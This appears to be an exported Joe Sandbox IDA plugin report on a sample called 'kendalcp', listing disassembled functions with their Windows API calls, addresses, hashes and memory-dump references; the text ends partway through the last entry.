Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: 4cad7539bbbd656800985b0ec9b49427cbfe0a7b55e7cdb253bd93484009d4d4
Instruction ID: c1b748f45bd1515e0a3b0f60ef20c76f7ef384c2acc43d86c8fe7463086d8285
Opcode Fuzzy Hash: 4cad7539bbbd656800985b0ec9b49427cbfe0a7b55e7cdb253bd93484009d4d4
Instruction Fuzzy Hash: BC019231540318F6EB329B644C0AFEE33D8BF4A782F044661F841D50D1D76ECA8186B7

Function 0072AFF4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0072B019

Strings

, xrefs: 0072B05E

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 617606e2163f7887d01b42e7f98918cfa2c66bfeb46e04c1adf820a121f033ad
Instruction ID: 4aea10e2d0ed67201dc3f52741a406b4774f927d2bb9fc820b307b4875947a96
Opcode Fuzzy Hash: 617606e2163f7887d01b42e7f98918cfa2c66bfeb46e04c1adf820a121f033ad
Instruction Fuzzy Hash: BD41267050436CAADF328E249C94AF7BBA9EB45304F1404ECE59A87142E339AE55DF20

Function 0072A72C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,3FE85006,00000001,?,?), ref: 0072A79D

Strings

LCMapStringEx, xrefs: 0072A73D, 0072A747

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: fc9b4c5929abf02fee09ecb5b2809edf333c8ba61c230ac941593731ecc2b579
Instruction ID: 76d05ab472b096c39aee4239fc42e1af5d3e780c1c55625f0c18063228b94095
Opcode Fuzzy Hash: fc9b4c5929abf02fee09ecb5b2809edf333c8ba61c230ac941593731ecc2b579
Instruction Fuzzy Hash: B9011372500258FBDF166FA4EC06DEE3F66EF08710F008154FE1426161CA7A8931EB95

Function 0072A6CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00729D2F), ref: 0072A715

Strings

InitializeCriticalSectionEx, xrefs: 0072A6E5

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 4ec459e1eca7ccc84e2d3c67df73d963ccb20050776ab379c19d107a901dbe59
Instruction ID: 75fcdeb7ea293b77ca54b26637cc2863e44fdb80dcd4b5b9c3305a9ef91b9f8f
Opcode Fuzzy Hash: 4ec459e1eca7ccc84e2d3c67df73d963ccb20050776ab379c19d107a901dbe59
Instruction Fuzzy Hash: 1AF0E27164521CFBDF256F68DC0ACAE7FA1EF04721F008064FC091A261DA798E20EB95

Function 0072A56F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0072A5AE

Strings

FlsAlloc, xrefs: 0072A58A

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: b75ce8bab3997977890a405f689d291b6d71a5f7257b59b604dd3b5549d29aae
Instruction ID: 2d653495e22a0fb28ea0bd49c45f580638783fdea7719cbb04167c217e786522
Opcode Fuzzy Hash: b75ce8bab3997977890a405f689d291b6d71a5f7257b59b604dd3b5549d29aae
Instruction Fuzzy Hash: 9FE055B074526CFBB3246B68AC068AEBBA0DB24B11F004014FC0417281CE7D4E00A6DA

Function 0072329A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 007232AF

Strings

FlsAlloc, xrefs: 0072329E, 007232A8

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 6216fa41f726d6bb3c1a79b9602e39153167b3a42147824d7c7d9a876b607431
Instruction ID: 827d4f547a123b174b9c334af8c3760f4842afd7f03819256e52eeee8526d7a0
Opcode Fuzzy Hash: 6216fa41f726d6bb3c1a79b9602e39153167b3a42147824d7c7d9a876b607431
Instruction Fuzzy Hash: 52D02B62780A38EBA11032C47C039AE7E848701FB2F450152FE0C1A183856D495001D9

Function 0071E1F9 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071E20B

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Strings

3Ro, xrefs: 0071E1F9, 0071E205

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Ro
API String ID: 1269201914-1492261280
Opcode ID: e38099ba0e8739f48723fdcd9c0a2ba7fbfeb179b075aa5b97f3811f80342212
Instruction ID: 9af7d270d6e61a6d2a9038ab835aa964b82bb1b482bffb321eda93fa4ac15246
Opcode Fuzzy Hash: e38099ba0e8739f48723fdcd9c0a2ba7fbfeb179b075aa5b97f3811f80342212
Instruction Fuzzy Hash: 69B012E22AE402BC330C110CBE1ACB7032CC4C0B50730802ABA16D40C2954D4E874432

Function 0072B350 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 0072AF1B: GetOEMCP.KERNEL32(00000000,?,?,0072B1A5,?), ref: 0072AF46

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0072B1EA,?,00000000), ref: 0072B3C4
GetCPInfo.KERNEL32(00000000,0072B1EA,?,?,?,0072B1EA,?,00000000), ref: 0072B3D7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 84d9c149a0d20440df0705588a6a8f769f2982fbe9acc804915bf66fd24307ff
Instruction ID: c8631cc14caab5233b74cb508dbac5bebae806cd2bcd43de002b79ba57f1406a
Opcode Fuzzy Hash: 84d9c149a0d20440df0705588a6a8f769f2982fbe9acc804915bf66fd24307ff
Instruction Fuzzy Hash: 0F515870D002A59FEB20AF35E8C56BABBE5EF41310F18806ED0968B293D73D9545CB91

Function 00701385 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00701385

Part of subcall function 00706057: __EH_prolog.LIBCMT ref: 0070605C

Part of subcall function 0070C827: __EH_prolog.LIBCMT ref: 0070C82C
Part of subcall function 0070C827: new.LIBCMT ref: 0070C86F
Part of subcall function 0070C827: new.LIBCMT ref: 0070C893

new.LIBCMT ref: 007013FE

Part of subcall function 0070B07D: __EH_prolog.LIBCMT ref: 0070B082

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: bf2bdc0c22c3682570d8379efef950a50dd8c2bbc6dfe7b33a5e2b0b48bc5aee
Instruction ID: e3360aa49a378e5a44df02fe4fc7dd762579e4a30d3ee3f3b6ad6072883d0161
Opcode Fuzzy Hash: bf2bdc0c22c3682570d8379efef950a50dd8c2bbc6dfe7b33a5e2b0b48bc5aee
Instruction Fuzzy Hash: A64116B0805B40DEE724DF7984899E7FAE5FB18300F504A2EE6EE83282DB366554CB11

Function 00701380 Relevance: 3.1, APIs: 2, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00701385

Part of subcall function 00706057: __EH_prolog.LIBCMT ref: 0070605C

Part of subcall function 0070C827: __EH_prolog.LIBCMT ref: 0070C82C
Part of subcall function 0070C827: new.LIBCMT ref: 0070C86F
Part of subcall function 0070C827: new.LIBCMT ref: 0070C893

new.LIBCMT ref: 007013FE

Part of subcall function 0070B07D: __EH_prolog.LIBCMT ref: 0070B082

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 5a9e81be60cec6183b732a9811082465bcdf3b7707b7d865f79965db917b2c9a
Instruction ID: 47bd892cf06efe5edf890c1dcb0cafabf90269e570506e9ee4ac94311b1af636
Opcode Fuzzy Hash: 5a9e81be60cec6183b732a9811082465bcdf3b7707b7d865f79965db917b2c9a
Instruction Fuzzy Hash: A041F4B0805B40DEE724DF7984899E7FAE5FB18300F944A2ED5EE83282DB366554CB15

Function 0070971E Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00709EDC,?,?,00707867), ref: 007097A6
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00709EDC,?,?,00707867), ref: 007097DB

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 45b64c3f5617db792e03fbf48ad095cf901e0e6989018ff88243bfc450851fad
Instruction ID: 00f6804c1a97a80af30cbbd2965284ba6cbc696adeabe49478d3cda0f590f0ef
Opcode Fuzzy Hash: 45b64c3f5617db792e03fbf48ad095cf901e0e6989018ff88243bfc450851fad
Instruction Fuzzy Hash: F121F871114748EFE7308F24C885FA7B7E8EB49764F004A1DF6E5821D2C378AD858B61

Function 00709D62 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00707547,?,?,?,?), ref: 00709D7C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00709E2C

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: ed0971a7367d0db3d8b3150597316f4aa7f3e1abbf13cebaa0c1591c9f018f18
Instruction ID: 96d6c814b79303c8996535dbfe3f28e4b352f99b038b6f5f551bb1e6717a339b
Opcode Fuzzy Hash: ed0971a7367d0db3d8b3150597316f4aa7f3e1abbf13cebaa0c1591c9f018f18
Instruction Fuzzy Hash: 7221D671288246EBC714DE24C855AABBBE4AF95708F044A1DB5D187182D32DDA4CDB91

Function 0072A458 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 0072A4B8
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 0072A4C5

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 0c6b3fa73b381719734204e6c2a0902846e0d176b6f4956e8cc079dfb7412605
Instruction ID: 2689ba8ddbcdb5d533786d3a62c04badbbc222b5561b7846ebda0cf920afc646
Opcode Fuzzy Hash: 0c6b3fa73b381719734204e6c2a0902846e0d176b6f4956e8cc079dfb7412605
Instruction Fuzzy Hash: 7B11CD33611671AFAB25AE2CFC4589A73A59B843607168210FD15EB254DA7CDC41C6D1

Function 00709B59 Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?,-00001964,?,00000800,-00001964,00709B35,?,?,00000000,?,?,00708D9C,?), ref: 00709BC0
GetLastError.KERNEL32 ref: 00709BCD

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: ad68916f3b06847a0548b2ebb5ef63b7b951f00a601dbf138e2db4e4627b74e9
Instruction ID: 2127a6957d73e4fd56d5f027c06de20dca2eb3f6ecbf4f46c5e1b37558eb7b2e
Opcode Fuzzy Hash: ad68916f3b06847a0548b2ebb5ef63b7b951f00a601dbf138e2db4e4627b74e9
Instruction Fuzzy Hash: 310104B1305205DBCB18CE25AC8487EB3D9AFC0331B10872DFA12872C2DA3CD8059A21

Function 00709E40 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00709E76
GetLastError.KERNEL32 ref: 00709E82

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 88d4a68a4e774771ff8d496a3192366b362ffefc58fcc4af9e0d7ffb69893707
Instruction ID: 2e8aaec4d76801d4aa94db1e491cafcbc2a6d3d23a77ad49c4f23c73a734fd7d
Opcode Fuzzy Hash: 88d4a68a4e774771ff8d496a3192366b362ffefc58fcc4af9e0d7ffb69893707
Instruction Fuzzy Hash: 950171B27042009BEB34DE29DC48B6BB7D99B88315F148B3EB256C36D1DB79ED488611

Function 00728606 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00728627

Part of subcall function 00728518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0072C13D,00000000,?,007267E2,?,00000008,?,007289AD,?,?,?), ref: 0072854A

HeapReAlloc.KERNEL32(00000000,?,?,?,?,00740F50,0070CE57,?,?,?,?,?,?), ref: 00728663

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 742c8f08d624c969b989dbe69eb96dd91363b80a31f6b4c9097e7d7f3db0b38b
Instruction ID: 424efffe0b1d999797ca090f5306a5bc62d6dd82d38a17a6529cee9c5ede6ddb
Opcode Fuzzy Hash: 742c8f08d624c969b989dbe69eb96dd91363b80a31f6b4c9097e7d7f3db0b38b
Instruction Fuzzy Hash: 4BF0C231103135AADBF12A22BC08B6F27589FD1BB1F288215F81496193DF3EC80095A7

Function 00710908 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00710915
GetProcessAffinityMask.KERNEL32 ref: 0071091C

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 2d08244005bcec34a3d237a3cf436064e9bafe76c0c35ce93932122751d41523
Instruction ID: 9fa19e617e15ff3448276023b8a5040e1b560a89ada618d9d1661bd4f8f41938
Opcode Fuzzy Hash: 2d08244005bcec34a3d237a3cf436064e9bafe76c0c35ce93932122751d41523
Instruction Fuzzy Hash: 29E09232A10109AB7F19CAB89C149FB739DEB042117208179A806D7241F978FEC186E4

Function 007279B7 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0072B610: GetEnvironmentStringsW.KERNEL32 ref: 0072B619
Part of subcall function 0072B610: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0072B63C
Part of subcall function 0072B610: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0072B662
Part of subcall function 0072B610: _free.LIBCMT ref: 0072B675
Part of subcall function 0072B610: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0072B684

_free.LIBCMT ref: 007279FD
_free.LIBCMT ref: 00727A04

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 400815659-0
Opcode ID: af654794404ab18e811b298fc94262ed2d4a52a5dd9389fb5dc62c2d266403df
Instruction ID: 3d2a7106aa12e69eae8a412d9065201df63de2736ea428382ac01f49d25d362a
